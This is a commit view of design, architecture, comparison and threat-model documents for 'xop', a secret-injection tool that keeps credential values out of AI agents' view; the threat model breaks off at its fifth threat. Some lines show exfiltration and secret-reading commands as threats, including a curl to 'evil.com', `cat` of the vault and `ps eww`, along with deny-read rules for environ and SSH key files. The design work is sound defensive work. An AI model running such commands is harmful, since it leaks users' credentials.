initial: xop source tree

This commit is contained in:
xop-bot committed 2026-10-02 18:25:29 +08:00
commit e4c93e1e13
43 files changed
+7599

No files matched your search

+249
View File
@@ -0,0 +1,249 @@
# xop · Architecture
## Module dependency graph
```
main.rs
│
▼
lib.rs (run orchestrator)
│
┌────────────┬────────┼────────┬─────────────┬───────────────┐
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
args.rs secret.rs audit.rs policy.rs guard.rs injector.rs
(clap) (refs) (JSONL) (DSL types) (runtime) (env/askpass/fd)
│
│
┌────────────┼─────────────┐
│ │ │
▼ ▼ ▼
auth/ vault/ commands/
│ │ │
├─ mod.rs ├─ mod.rs ├─ mod.rs
│ (Gate/ ├─ keyring.rs├─ init.rs
│ decide) └─ format.rs ├─ set.rs
└─ touchid.rs ├─ list.rs
├─ get.rs
├─ rm.rs
├─ reset.rs
└─ key.rs
```
`backend/` was removed in v0.2 — the local vault replaces all four external backends.
## Data flow: a typical invocation
```
$ xop --secret DB_PASS=db_pass \
--allow-net=db.local:5432 \
--deny-net=* \
-- mysql -h db.local -u app -e 'SELECT 1'
1. CLI parse (args.rs)
Args {
subcmd: None,
secrets: [("DB_PASS", "db_pass")],
allow_net: ["db.local:5432"],
deny_net: ["*"],
on_leak: Mask,
dry_run: false,
exec_command: ["mysql", "-h", "db.local", "-u", "app", "-e", "SELECT 1"],
}
2. Ref resolution (secret.rs)
Ref { key: "db_pass", name: "db_pass" } // bare key, no scheme
3. Policy build (policy.rs)
Policy {
net: NetPolicy { allow: ["db.local:5432"], deny: ["*"] },
read: ReadPolicy { deny: ["/proc/self/environ", "~/.ssh/id_*", ...] },
leak: Mask,
}
4. Vault resolve (vault::resolve_all)
→ auth::authenticate() → Gate // headless(non-TTY)→AllowKeyring; SSH pty→RequirePassphrase (never remote biometric);
// local TTY: LAContext fingerprint — pass→AllowKeyring, cancel→exit 77, no-biometrics→RequirePassphrase
→ Gate::AllowKeyring ∧ keyring::load() // ~/.xop/keyring (0600) hit → key, no typing
→ Gate::RequirePassphrase ∨ no keyring // rpassword::prompt_password() → derive_key = argon2id(passphrase, salt)
→ AES-GCM decrypt → entries["db_pass"] = "hunter2"
→ ResolvedValue { key: "DB_PASS", name: "db_pass", backend: "vault", value: Secret("hunter2") }
5. Injector (injector.rs)
Strategy: Envp (mysql reads MYSQL_PWD natively)
envp_delta: [("DB_PASS", "hunter2"), ("HISTFILE", "/dev/null"), ...]
argv_scrubbed: ["mysql", "-h", "db.local", "-u", "app", "-e", "SELECT 1"]
6. Audit pre-event (audit.rs)
{"ts":"...","event":"spawn","refs":["db_pass"],"policy_hash":"sha256:abc...",
"child_argv":["mysql","-h","db.local","-u","app","-e","SELECT 1"]}
7. Network policy application (guard/network.rs)
macOS: pf rule → block all outbound from PID <x> except to db.local:5432
Linux: iptables -m owner --pid-owner <x> rule
(STUB in v0.2 — runtime TBD)
8. File policy application (guard/file.rs)
sandbox-exec profile → deny file-read* /proc/*/environ, ~/.ssh/id_*
(STUB in v0.2)
9. Spawn (tokio::process::Command)
cmd.pre_exec(|| { setrlimit(RLIMIT_CORE, 0, 0); Ok(()) }) // no core dumps
cmd.spawn() with:
- env_clear() + envs(parent_env) + envs(envp_delta)
- stdout: piped to xop's stdout filter
- stderr: piped to xop's stdout filter
- stdin: inherited from parent
- kill_on_drop(true)
10. Stdout filter (guard/stdout.rs)
Read chunk from child's stdout pipe.
For each chunk, check against secret value patterns.
If match: replace with [REDACTED:DB_PASS] (Mask) or SIGKILL (Kill).
Write to inherited stdout.
11. Audit post-event
{"ts":"...","event":"exit","child_pid":12345,"exit_code":0,"duration_ms":42}
12. waitpid() → exit code 0 propagated to xop's caller
```
## Subcommand flow (zdata vault operations)
```
$ xop set DB_PASS (value piped via stdin)
1. args.rs → Subcmd::Set { key: "DB_PASS", force: false }
2. commands::set::run("DB_PASS", false)
a. auth::authenticate("set DB_PASS in vault") → Gate
headless (no TTY) → AllowKeyring (automation path; no osascript call)
SSH_TTY/SSH_CONNECTION set → RequirePassphrase (never prompt biometrics remotely)
local TTY + macOS → LAContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)
pass → AllowKeyring · cancel → exit 77 abort · no biometrics → RequirePassphrase
local TTY + Linux → RequirePassphrase (system password prompt forbidden)
b. Gate::RequirePassphrase → rpassword::prompt_password("Vault passphrase: ") (keyring ignored)
Gate::AllowKeyring + keyring present → silent; no keyring → prompt
c. vault::Vault::open(path)
key = keyring::load() ∨ argon2id(passphrase, salt)
plaintext = AES-GCM-decrypt(ciphertext, nonce, key)
entries = toml::from_str(plaintext) → HashMap<String, String>
d. read stdin to EOF → get new value (up to 256 chars)
e. if !force && entries.contains_key("DB_PASS"): error KeyAlreadyExists
f. entries.insert("DB_PASS", value)
g. vault.save()
serialize entries to TOML
re-randomize nonce
encrypt with derived key
atomic write: tmp + rename
h. audit::vault_set("DB_PASS")
i. zeroize passphrase buffer (Drop guard)
Other subcommands follow the same shape:
list: open + enumerate + audit (no stdout for values)
get: open + lookup + print + audit (value to stdout, single line)
rm: open + delete + save + audit (TTY confirm unless --force)
```
## Audit log format (JSONL, one event per line)
```jsonl
{"ts":"2026-10-01T12:34:56.123Z","event":"spawn","refs":["db_pass"],"backends":["vault"],"policy_hash":"sha256:9f2a...","child_argv":["mysql","-h","db.local","-u","app","-e","SELECT 1"],"net_allow":["db.local:5432"],"net_deny":["*"],"leak_action":"mask"}
{"ts":"2026-10-01T12:34:56.165Z","event":"stdout_mask","child_pid":12345,"ref":"db_pass","action":"masked","bytes_replaced":11}
{"ts":"2026-10-01T12:34:56.198Z","event":"exit","child_pid":12345,"exit_code":0,"duration_ms":75}
```
Vault subcommand events:
```jsonl
{"ts":"...","event":"vault_init","path":"/home/x/.xop/key.db"}
{"ts":"...","event":"vault_unlock","auth":"touchid","success":true}
{"ts":"...","event":"vault_set","name":"DB_PASS"}
{"ts":"...","event":"vault_get","name":"DB_PASS","ok":true}
{"ts":"...","event":"vault_rm","name":"DB_PASS"}
```
**Invariant (I2):** no `value`, `plaintext`, `ciphertext`, or `passphrase` field exists in any event. `secrecy::Secret` never crosses this boundary — only refs, names, and metadata.
## Trait surfaces
```rust
// src/auth/mod.rs
#[async_trait]
pub trait Auth: Send + Sync {
async fn authenticate(&self, reason: &str) -> Result<()>;
}
// src/vault/mod.rs
pub struct Vault { path, salt, nonce, key, entries }
impl Vault {
pub async fn open(path: &Path) -> Result<Self>;
// open order is FIXED: auth::authenticate() FIRST, then keyring::load()
// (~/.xop/keyring, 0600 — NOT macOS Keychain) — falls back to typed
// passphrase + argon2id only when the keyring is absent/XOP_NO_KEYRING=1.
pub async fn create(path: &Path, passphrase: &str) -> Result<Self>;
// create writes the vault AND saves the derived key to the keyring.
pub fn key_bytes(&self) -> &[u8; 32]; // for `xop key --save`
pub fn get(&self, key: &str) -> Option<&str>;
pub fn set(&mut self, key: &str, value: &str);
pub fn rm(&mut self, key: &str) -> bool;
pub fn list(&self) -> impl Iterator<Item = (&str, &str)>; // (key, created_at)
pub async fn save(&self) -> Result<()>;
}
// src/guard/mod.rs
#[async_trait]
pub trait Guard: Send + Sync {
fn name(&self) -> &'static str;
async fn setup(&self, policy: &Policy) -> Result<()>;
async fn teardown(&self) -> Result<()>;
}
```
## Lifecycle of a Secret\<T\>
```
vault::get(key) ──► Option<&str> (borrowed, never exposed to LLM)
│
▼
injector::build_envp_delta ──► Vec<(String, Secret<String>)>
│ │
▼ ▼
SecretBox::expose_secret() ◄──┘ tokio::Command envs iter
│ │
▼ ▼
String child copy at execve String dropped after spawn
│
▼
guard::stdout::filter ──► regex match against child
stdout bytes; never
logs value
│
▼
audit::log_event ──► writes ref/name only;
type system forbids
value field
```
The `secrecy::SecretBox` type provides:
- `Debug` impl that prints `<secret>` (so accidental `println!("{:?}", s)` is safe).
- `ExposeSecret` trait — explicit `.expose_secret()` required to read.
- `Drop` impl that zeroizes inner `T` (when `T: Zeroize`).
## Vault file format (binary)
```
Offset Size Field
------ ---- ----------------------------------------------------------
0 4 magic = b"XOP\x01"
4 4 version = 1 (u32 LE)
8 16 salt = argon2id salt (random per vault)
24 12 nonce = AES-GCM nonce (random per save)
36 N ciphertext = AES-256-GCM(key, nonce, plaintext) output
36+N 16 tag = AES-GCM auth tag (appended by aes-gcm crate)
HEADER_LEN = 4 + 4 + 16 + 12 = 36
Plaintext = UTF-8 TOML: `entries = { key_name = "value", ... }`
```
Write path: encrypt → write to `key.db.tmp.<pid>` → fsync → rename to `key.db`.
Read path: open → read header → read ciphertext → decrypt → parse TOML.
+65
View File
@@ -0,0 +1,65 @@
# xop vs existing tools
Detailed positioning against the 5 most relevant alternatives as of 2026-10-01.
## At a glance
| Tool | Vault? | Injection method | Stdout mask | Network policy | File policy | OS-auth gate |
|---|---|---|---|---|---|---|
| **xop** (this) | self (AES-256-GCM, argon2id) | envp (+ askpass P1) | ✅ | ✅ (pf/iptables, stubbed P1) | ✅ (sandbox-exec, stubbed P1) | ✅ Touch ID (biometrics-only; SSH/no-biometric → passphrase; Linux: passphrase-only) |
| [secret-agent](https://github.com/paperMoose/secret-agent) | self (age + sqlite) | envp (template) | ✅ | ❌ | ❌ | ❌ (passphrase only) |
| [1Password `op run`](https://developer.1password.com/docs/cli/reference/commands/run/) | external (1P only) | envp | ✅ (default) | ❌ | ❌ | ✅ (1P account) |
| [HashiCorp Vault Agent](https://developer.hashicorp.com/vault/docs/agent-and-proxy) | external (Vault) | env file + sidecar | ❌ | ❌ | ❌ | ✅ (Vault token) |
| [Bitwarden `bw`](https://bitwarden.com/blog/use-bitwarden-to-keep-track-of-your-ai-agents-credentials/) | external (BW) | envp | ❌ (manual) | ❌ | ❌ | ✅ (BW account) |
| [Deno permission](https://docs.deno.com/runtime/reference/cli/run/) | n/a | runtime | n/a | ✅ | ✅ | n/a |
## Where xop wins
1. **OS-level pre-gate before the unlock secret.** secret-agent and other self-hosted vaults only require a passphrase. xop gates with a real Touch ID prompt *first* on the local console (macOS, via `LAContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)` — biometrics-only, cancelling refuses the operation). The gate's verdict then decides whether the keyring (`~/.xop/keyring`, 0600 — silent, agent-friendly) may unlock: only a local biometric pass or a headless automation context (agent/pipe) get silent unlock; **SSH sessions and machines without usable biometrics must type the xop passphrase** — a silent keyring pass there would mean zero identity check. Linux interactive is passphrase-only by design (system-password prompts explicitly forbidden). The gate runs even with a keyring present, so biometric alone never decrypts; a stolen `key.db` still needs the keyring file or the passphrase. (Explicitly NOT macOS Keychain — rejected 2026-10-02: `security(1)` popped system dialogs mid-automation.)
2. **Deno-style policy DSL for arbitrary Unix commands.** secret-agent is great at injection but doesn't constrain *what the child can do*. xop adds `--allow-net=`, `--deny-read=`, etc. — same proven model from Deno runtime.
3. **Zero external dependencies.** xop owns its own encrypted vault. No `op` / `vault` / `security` CLI to set up; no OAuth flows; no per-resolve subprocess overhead. Single binary works on a fresh machine.
4. **LLM-aware guards.** Built specifically for the AI-agent use case. `--on-leak=refuse` is a parse-time check that catches `echo $SECRET` patterns *before* spawn — no other tool does this.
5. **No metadata leakage to `ps`.** v0.1 spawned `op read` per resolve, which leaked `op read op://DevOps/mysql/password` into process listings. v0.2 does all decryption internally — nothing in `ps` reveals what vault items exist.
## Where existing tools win
- **secret-agent** has a more mature template engine (`{{NAME}}` substitution in arbitrary command strings) and a richer subcommand surface (create/delete/list/exec/inject/get/env/...). xop only has init/set/list/get/rm + one exec verb. If you need template substitution, secret-agent wins.
- **`op run`** is production-grade for the 1Password-only use case. If you're already deep in 1Password, just use `op run` — it has OAuth refresh, device trust, and a decade of hardening.
- **Vault Agent** has sidecar mode + auto-renewal + Consul Template integration. If you already run Vault Agent in your infrastructure, you don't need xop for the basic case.
- **Deno** is a runtime — it doesn't run arbitrary bash commands. They solve different problems; we just borrow the policy DSL syntax.
## Detailed diff vs secret-agent
| Concern | secret-agent | xop (v0.2) |
|---|---|---|
| Vault storage | age + sqlite, self-managed | AES-256-GCM + argon2id, self-managed |
| Auth model | passphrase via `SECRET_AGENT_PASSPHRASE` env or prompt | Touch ID pre-gate (biometrics-only, cancel = refuse) + passphrase prompt |
| Reference syntax | bare-key (e.g. `db_pass`) | bare-key (e.g. `db_pass`) |
| Injection mechanism | env template (`{{NAME}}` in command string) | `--secret KEY=NAME` flag (envp) |
| Stdout sanitization | regex mask by secret name | regex mask by secret name + `--on-leak=kill\|refuse` |
| Network policy | none | `--allow-net=` / `--deny-net=` (pf/iptables, stubbed P1) |
| File policy | none | `--allow-read=` / `--deny-read=` (sandbox-exec, stubbed P1) |
| Dry-run | `secret-agent exec --dry-run` | `xop --dry-run` (shows parsed cmd + effective policy) |
| Audit | none | JSONL log with policy_hash for replay |
| Sub-command surface | 11 commands (create/delete/list/exec/inject/get/env/...) | 6 (init/set/list/get/rm/help) + one exec verb |
| Per-resolve subprocess | none (in-process) | none (in-process) — both avoid spawning CLI per resolve |
| Two-factor by default | no (passphrase only) | yes (OS auth + passphrase) |
| Library mode | no | planned v0.3 (`use xop::exec`) |
## When NOT to use xop
- ❌ You need 1Password / Vault / Bitwarden integration → use those tools directly.
- ❌ You need a richer template engine (substituting `{{NAME}}` inside command strings) → use **secret-agent**.
- ❌ You're running untrusted *code* (not just untrusted commands) — use **gVisor** / **Firecracker** / proper microVM isolation.
## When to use xop
- ✅ You're building or operating an AI agent (Claude Code, Cursor, custom) and want defense-in-depth around what credentials it can touch AND what it can do with them.
- ✅ You want a single binary with no external service dependencies (no 1P account, no Vault server).
- ✅ You want an OS-level biometric gate (real Touch ID prompt on macOS — no password dialog anywhere in the flow) before the passphrase — two-factor by default.
- ✅ You want dry-run mode that shows the effective policy before execution (great for agent self-correction).
- ✅ You want audit-grade logs of which refs were used when, without storing values.
+269
View File
@@ -0,0 +1,269 @@
# xop · Design Document
> Status: v0.2.1 implemented (2026-10-02). Self-contained encrypted vault, no external backend dependencies. Unlock: OS auth gate first, then file keyring (`~/.xop/keyring`, 0600) or typed passphrase — **deliberately NOT the macOS Keychain** (rejected 2026-10-02: system dialogs during automation).
## 1. Problem statement
AI agents (Claude Code, Cursor, OpenAI Operator, anything that runs bash) must execute real tools to be useful. Real tools need real credentials. But every existing credential-flow forces the agent to:
1. **Read the secret into its context window** — the plaintext enters the LLM provider's logs, training pipelines, screenshots, error reports.
2. **Pass the secret as a CLI arg or env var that the agent itself reads** — the secret lives in the agent's process memory, recoverable via debuggers or core dumps.
3. **Repeat the authorization for every operation** — UX death by a thousand "approve this?" prompts.
The result is a worst-of-both-worlds: secrets leak into places they shouldn't, AND the user is asked to re-approve constantly.
**Core invariant we want:** the AI agent must never observe a secret value. It only ever sees *references* (bare key names like `db_pass`). Real values live for <1ms in `xop`'s memory, are passed into the child process at `execve()` time via `envp`, and are scrubbed from every persistent layer (logs, audit, history).
## 2. Design principles
| # | Principle | Concretely means |
|---|---|---|
| P1 | **References, not values, cross trust boundaries** | LLM API call bodies, IPC payloads, audit logs, and shell history contain only bare key names (`DB_PASS`, `db_pass`). |
| P2 | **One-shot memory lifetime** | Real values live in the parent process only between `Vault::get()` and `execve()`. After `execve` returns, parent memory is zeroized (rpassword + zeroize crate). |
| P3 | **Defense in depth at every layer** | Independent guards: argv parse → OS auth (Touch ID gate) → keyring-or-passphrase unlock → envp inject → stdout mask (`12****【xop禁止将密钥泄漏】`) → network policy. Each fails closed independently. |
| P4 | **Deno-style permission DSL** | `--allow-net=`, `--deny-net=`, `--allow-read=`, `--deny-read=` — same model proven in production by Deno runtime. |
| P5 | **Self-contained vault, no external CLIs** | xop owns its own encrypted vault at `~/.xop/key.db` (AES-256-GCM, argon2id KDF). No `op`/`vault`/`security` subprocesses to verify, no per-resolve spawn overhead, no metadata leaked to `ps`. |
| P6 | **Refuse to do the wrong thing** | Any command that *itself* would print the secret (e.g. `echo $DB_PASS`, `env | grep PASS`, `set -x`) is detected at parse-time or runtime and either masked or refused. |
| P7 | **Boring infrastructure, hot path** | `xop` itself is <5MB static binary, no daemon, no server. Single `fork+execve` per command, returns child's exit code. |
## 3. Command surface
```
xop # banner + 5 examples (no panic, no error)
xop -h | --help | help # full help w/ subcommands + exec examples
xop init # first-run: prompt passphrase × 2, create ~/.xop/key.db
xop set KEY # Touch ID → read stdin → encrypt → write
xop list # Touch ID → enumerate keys (name + created_at, no values)
xop get KEY [-v|--value] # Touch ID → print value MASKED by default (first 2 chars +
# ****【xop禁止将密钥泄漏】); -v prints plaintext for HUMAN
# inspection only (agents must use `xop run` injection)
xop rm KEY # Touch ID → delete key (--force to skip confirm)
xop key [--save|--remove] # manage ~/.xop/keyring auto-unlock key (0600 file, NOT Keychain)
xop [flags] -- CMD [args] # exec mode (inject into child process)
```
Exec-mode flags (existing, mostly kept):
```
-s, --secret KEY=NAME # NAME = bare key name in vault, injected as env KEY
--secrets-file PATH # bulk-load KEY=NAME pairs
--allow-net=HOSTS # allow child to make outbound network
--deny-net=HOSTS # always-deny (beats allow)
--allow-read=PATHS # allow child to read paths
--deny-read=PATHS # always-deny read (beats allow)
--on-leak=mask|kill|refuse # stdout action on secret pattern
--mask-pattern=REGEX # extra regex to mask in child stdout/stderr
--dry-run # print effective policy; never exec
--audit=PATH # default: ~/.xop/audit.jsonl
--no-color # suppress color in output
```
**REMOVED in v0.2**: `--backend` (no longer meaningful — single local vault).
Exit codes:
- 0 success
- 64 EX_USAGE — bad flags, missing command, bad ref
- 69 EX_UNAVAILABLE — vault unreadable
- 73 EX_CANTCREAT — can't open audit log
- 77 EX_NOPERM — auth cancelled, wrong passphrase, key not found, leak-killed
- 78 EX_CONFIG — vault corrupt or missing init
- 79 EX_SECURITY — secret leak detected and `--on-leak=kill|refuse`
- 130 child received SIGINT
## 4. Architecture
```
┌──────────────────────────────────────────────────────────────────────────┐
│ xop process │
│ │
│ args::Args ◄── clap parse (src/args.rs) │
│ │ │
│ ├─ subcommand? ─► commands::{init,set,list,get,rm,key}::run() │
│ │ ├─ auth::authenticate() (Touch ID gate) │
│ │ ├─ keyring::load() ∨ rpassword::prompt() │
│ │ │ (0600 file key → silent; else passphrase) │
│ │ └─ vault::{open,get,set,...}() │
│ │ │
│ └─ exec mode ─► run_exec() │
│ │ │
│ ▼ │
│ SecretRef[] (src/secret.rs) ──► bare "KEY=NAME" pairs │
│ │ │
│ ▼ │
│ policy::Policy (src/policy.rs) │
│ │ ├── net: NetPolicy { allow, deny } │
│ │ ├── read: ReadPolicy { allow, deny } │
│ │ └── leak: Mask | Kill | Refuse │
│ │ │
│ ▼ │
│ vault::resolve_all(refs) ─► auth → keyring ∨ passphrase → decrypt │
│ │ (single local vault, no subprocess) │
│ │ key: ~/.xop/keyring (0600) or argon2id(passphrase, salt) │
│ │ cipher: AES-256-GCM(key, nonce, plaintext) │
│ ▼ │
│ injector::plan + build_envp_delta (src/injector.rs) │
│ │ ├── Envp (default: KEY=VALUE) │
│ │ ├── Askpass (SSH_ASKPASS — P1) │
│ │ └── Fd (P1) │
│ ▼ │
│ tokio::process::Command spawn with: │
│ - argv = scrubbed command line (refs unchanged, never values) │
│ - envp = parent_env + envp_delta │
│ - pre_exec: setrlimit(RLIMIT_CORE, 0, 0) (no core dumps) │
│ - stdout/stderr = piped through guard/stdout.rs │
│ - stdin = inherited from parent │
│ │ │
│ ▼ │
│ waitpid() ─► exit code propagated │
│ │
│ Throughout: audit::AuditLog appends ref-only events to ~/.xop/audit.jsonl
└──────────────────────────────────────────────────────────────────────────┘
```
## 5. Reference syntax (the secret grammar)
### 5.1 On the command line
```bash
# Explicit injection flag — preferred
xop --secret DB_PASS=db_pass --allow-net=db.local:5432 --deny-net=* -- mysql ...
# Both halves of KEY=NAME refer to vault keys (no scheme prefix in v0.2).
# KEY = env var name to inject; NAME = key in ~/.xop/key.db.
# They are usually the same string, but can differ when mapping multiple env names.
```
**Why bare keys (no scheme):** v0.1 had `op://` / `vault://` / `keychain://` schemes, which leaked which external backend was in use (metadata). v0.2 collapses to a single local vault — the ref is just the key name.
### 5.2 In `--secrets-file`
```bash
# .env.xop (safe to commit)
DB_HOST="db.prod.example.com"
DB_USER="readonly"
DB_PASS="db_pass"
SSH_KEY="ssh_key"
```
Lines starting with `#` are comments; empty lines ignored.
## 6. Vault file format (`~/.xop/key.db`)
Binary, fixed-position header for cheap parsing:
```
[4B magic = "XOP\1"]
[4B version = 0x0000_0001]
[16B salt = argon2id salt (random per vault)]
[12B nonce = AES-GCM nonce (random per save)]
[NB ciphertext = AES-256-GCM(key, nonce, plaintext)]
[16B tag = AES-256-GCM auth tag]
```
Plaintext (after decrypt) = UTF-8 TOML:
```toml
"DB_PASS" = "hunter2"
"API_KEY" = "sk-live-..."
```
Each `set` / `rm` rewrites the entire file (re-randomizes nonce). Vault size ≈ sum of values + ~80 bytes. Write is atomic: tmp + rename to survive partial writes.
## 7. Authentication flow
```
┌─────────────────────────────────────────────────────────────────────┐
│ init │
│ no pre-gate (first-run; nothing to protect yet) │
│ prompt passphrase × 2 (confirm) │
│ generate salt + nonce + empty entries │
│ write vault atomically (tmp + rename) │
│ write keyring atomically (~/.xop/keyring, 0600, hex key) │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────┐
│ set / list / get / rm / run (exec mode) │
│ 1. Pre-gate (OS-level): ALWAYS FIRST — its verdict gates keyring │
│ local TTY (no SSH_* env): macOS LAContext │
│ evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)│
│ — REAL fingerprint prompt, NO password field │
│ · pass → AllowKeyring (silent keyring OK) │
│ · cancel/refuse (LAError -128/-5/-12/unknown) │
│ → AuthCancelled, exit 77, op ABORTS │
│ · no usable biometrics (-7/-8/-10/-11/-1008/...)/broken │
│ → RequirePassphrase (keyring NOT consulted) │
│ SSH session (SSH_TTY/SSH_CONNECTION/SSH_CLIENT): never │
│ attempt biometrics (the dialog would pop on the local │
│ console where the remote user can't see it) │
│ → RequirePassphrase — user types the xop passphrase │
│ Linux interactive: no biometric gate exists; system password │
│ forbidden by design → RequirePassphrase │
│ headless / non-TTY (agent/pipe/CI, `ssh host cmd` w/o pty): │
│ gate skipped → AllowKeyring — this is the automation │
│ path that makes `xop run` unattended │
│ │
│ 2. Unlock key source: │
│ keyring::load() → Some(key) (file ~/.xop/keyring, 0600) │
│ · mode&0o077 != 0 or non-hex → REFUSED (error) │
│ · XOP_NO_KEYRING=1 → skip file, go to prompt │
│ → silent; `xop run` works unattended (issue #3) │
│ None → rpassword::prompt_password("Vault password: ") │
│ → derive key = argon2id(passphrase, vault_salt) │
│ (NOT macOS Keychain — rejected 2026-10-02: system dialogs │
│ during automation; xop never calls security(1)) │
│ │
│ 3. AES-GCM decrypt → operate → AES-GCM re-encrypt (set/rm) │
│ │
│ 4. Zeroize passphrase buffer (zeroize crate, drop guard) │
└─────────────────────────────────────────────────────────────────────┘
```
**Defense in depth:** the OS gate verifies *who you are*; the unlock secret unlocks *what's stored*. Critically, the keyring is only consulted **after identity has been positively established** — a live biometric pass on the local console, or a headless automation context (no TTY). In an SSH session or on a machine without usable biometrics the gate returns `RequirePassphrase` and the user must type the xop passphrase ("管理员密码"); the keyring file is not read at all there. (User rules 2026-10-02: 能探测硬件指纹身份就行;任何时候不要让用户输入系统密码;SSH 与无指纹设备应输管理员密码.) `xop key --remove` revokes the keyring instantly.
**Bypass:** `XOP_AUTH_BYPASS=1` env var skips the pre-gate for CI/headless tests. The unlock secret (keyring or passphrase) is still required to decrypt the vault — bypass never decrypts. And the passphrase itself can NEVER come from an env var in a release binary (`XOP_VAULT_PASSWORD` is `#[cfg(feature = "test-bypass")]`-gated; verify: `strings target/release/xop | grep XOP_VAULT_PASSWORD` → empty).
## 8. Threat model (summary; see threat-model.md for full)
| Threat | Mitigation | Layer |
|---|---|---|
| LLM provider logs secret in request body | Bare key names only, never values | argv parse |
| Secret in `ps e` / `/proc/PID/environ` | argv = ref text, values only in child's envp | exec |
| Child `echo $SECRET` prints to stdout | stdout pipe filter regex | runtime |
| Child `curl -d "$SECRET" https://evil.com` | `--deny-net=* --allow-net=whitelist` | network policy (stub P2) |
| Child reads `/proc/self/environ` | `--deny-read` defaults | file policy (stub P2) |
| Core dump leaks envp | `RLIMIT_CORE=0` in child pre_exec | OS |
| Audit log leaks values | Type system: `AuditEvent` has no `value` field | type |
| Vault file stolen off disk | AES-256-GCM + argon2id passphrase | at-rest |
| Attacker bypasses Touch ID | Unlock secret (keyring/passphrase) still required | two-factor |
| Keyring file stolen | 0600 enforced (load refuses bad mode); instant revoke `xop key --remove` | accepted tradeoff (threat-model T13) |
## 9. Non-goals (v0.2)
- ❌ External backend integration (1Password, Vault, Keychain) — explicitly removed in v0.2. Use those tools directly if you want them.
- ❌ Agent SDK / library mode (`use xop::exec(...)`) — CLI-only.
- ❌ Windows support — macOS + Linux only initially.
- ❌ Network proxy as fallback policy — prefer real OS-level enforcement (pf/iptables); http_proxy as future fallback.
- ❌ GUI confirmation prompts — policy is declared upfront; interactive prompts come later.
- ❌ Multi-user vaults / shared secrets — single-user local-only.
## 10. Compatibility with existing ecosystem
| Tool | Relationship to xop |
|---|---|
| [secret-agent](https://github.com/paperMoose/secret-agent) | Closest peer: self-contained vault, single machine. xop adds (1) OS-level auth gate (real Touch ID, biometrics-only) before passphrase, (2) Deno-style permission flags, (4) LLM-aware guards (`--on-leak=refuse`). secret-agent is template-based (env template string); xop is flag-based. |
| 1Password `op run` | No integration in v0.2. If you already have 1Password set up and want zero infra, use `op run` — but it doesn't have network/file policy enforcement or Touch ID gate. |
| HashiCorp Vault Agent | Sidecar model; xop is fork-style. No integration. |
| Deno permission | Conceptual debt only — Deno governs its own runtime; xop governs foreign Unix processes via OS primitives. |
| macOS Keychain | **Rejected 2026-10-02** (implemented once, then removed — `security(1)` popped system authorization dialogs mid-automation; user veto). xop stores nothing in Keychain and never calls `security(1)`. Unlock-key storage = plain file `~/.xop/keyring` (0600). |
## 11. Implementation phases
| Phase | Scope | Status |
|---|---|---|
| **0 — Skeleton** | All modules stubbed, clap schema complete, dry-run works | ✅ v0.1 |
| **1 — Local vault + auth gate** | `init`/`set`/`list`/`get`/`rm` + Touch ID gate + argon2id + AES-GCM + spawn pipeline | ✅ v0.2 |
| **1.5 — Unattended unlock + leak masking** | file keyring (`xop key`), OS gate always first, `set` partial-mask echo, stdout guard real filter + kill/refuse | ✅ v0.2.1 |
| **2 — Network policy** | macOS `pf` integration, Linux `iptables owner` | ⏳ P1 |
| **3 — File policy** | macOS `sandbox-exec` profile, Linux `landlock` | ⏳ P1 |
| **4 — Askpass injection** | `SSH_ASKPASS` strategy + `DISPLAY=:0` + `SSH_ASKPASS_REQUIRE=force` | ⏳ P1 |
| **5 — Library mode** | `pub use xop::exec(...)` for embedding in agents (e.g. xstudio) | ⏳ v0.3 |
See [HANDOFF.md](../HANDOFF.md) for the next-session checklist.
+153
View File
@@ -0,0 +1,153 @@
# xop · Threat Model
> Adversary: an AI agent running on behalf of a user, plus any compromised sub-process the agent spawns.
> Defender: xop, the user who configured the policy, the OS.
> Non-adversary: the user themselves (we trust them to provide policy).
## T1 — LLM Provider Sees the Secret
**Attack:** agent calls `cat ~/.xop/key.db` or `echo $DB_PASS` to "verify" a value, plaintext flows into LLM provider's request body, gets logged server-side, possibly used for training.
**Mitigation:**
- Refs only (bare key names like `db_pass`) cross the LLM API trust boundary.
- Even if a value somehow ends up in the prompt, the `secret` flag schema enforces `KEY=NAME` shape — no scheme prefix that could leak backend identity.
- The xop CLI never takes a `--secret-value` flag. Period. There is no code path that accepts a value as an argument.
**Residual risk:** if a vault decrypt succeeds and a *bug* causes xop to log it. Counter: `secrecy::SecretBox<String>` with `Debug` impl that prints `<secret>`. All log macros use `%` (Display) not `?` (Debug) for secret fields.
## T2 — Secret Visible in `ps` Output
**Attack:** agent runs `xop --secret DB_PASS=db_pass mysql ...` then any user on the box runs `ps eww $(pgrep mysql)` and reads the envp.
**Mitigation:**
- xop's *own* argv (visible in `ps` during xop's lifetime) contains only `--secret DB_PASS=db_pass` — the ref, not the value.
- xop is short-lived (one fork+exec per invocation), so its `ps` footprint is < 100ms.
- The child process (mysql) does receive the value in envp. This is unavoidable for envp injection. Mitigation: `--allow-net` to limit what that child can do with the secret, and `--on-leak=kill|refuse` to catch leaks.
**Residual risk:** another process with same UID reads `/proc/<pid>/environ` (Linux). Mitigation: file policy denies reads to `/proc/*/environ` (see T6).
## T3 — Secret Visible in Shell History
**Attack:** user (or AI) types `xop --secret DB_PASS=db_pass mysql ...`, shell records full command with `db_pass` ref. Ref itself is harmless but reveals *which vault item is in use* — sometimes metadata is sensitive.
**Mitigation:**
- Recommend `HISTIGNORE="xop *"` in user's `.bashrc` / `.zshrc`.
- xop itself, when spawning the child, sets `HISTFILE=/dev/null` and `EXTENDED_HISTORY=0` in the child's environment if it looks like an interactive shell.
- `--secrets-file <path>` mode means the command line itself never has a ref — only the path to the file.
**Residual risk:** the bare key name in the command is itself observable metadata. Out of scope for v0.2; v0.3 may add ref-to-hash translation for history scrubbing.
## T4 — Child Prints Secret to Stdout
**Attack:** child runs `echo $DB_PASS`, output goes to agent's context, captured in agent's logs.
**Mitigation:** `src/guard/stdout.rs` puts a pipe filter between child stdout and the inherited tty:
- Default: regex-mask secret values with `[REDACTED:KEY]` and pass through.
- With `--on-leak=kill`: SIGKILL child, exit 77.
- With `--on-leak=refuse`: refuse to spawn at all (parse-time check on argv for patterns like `echo $DB_PASS`).
**Residual risk:** encoding tricks (base64, hex, ROT13) evade regex. Mitigation v0.3: integrate with entropy-based detection (gitleaks-style). Out of scope for v0.2.
## T5 — Child Exfiltrates Secret Over Network
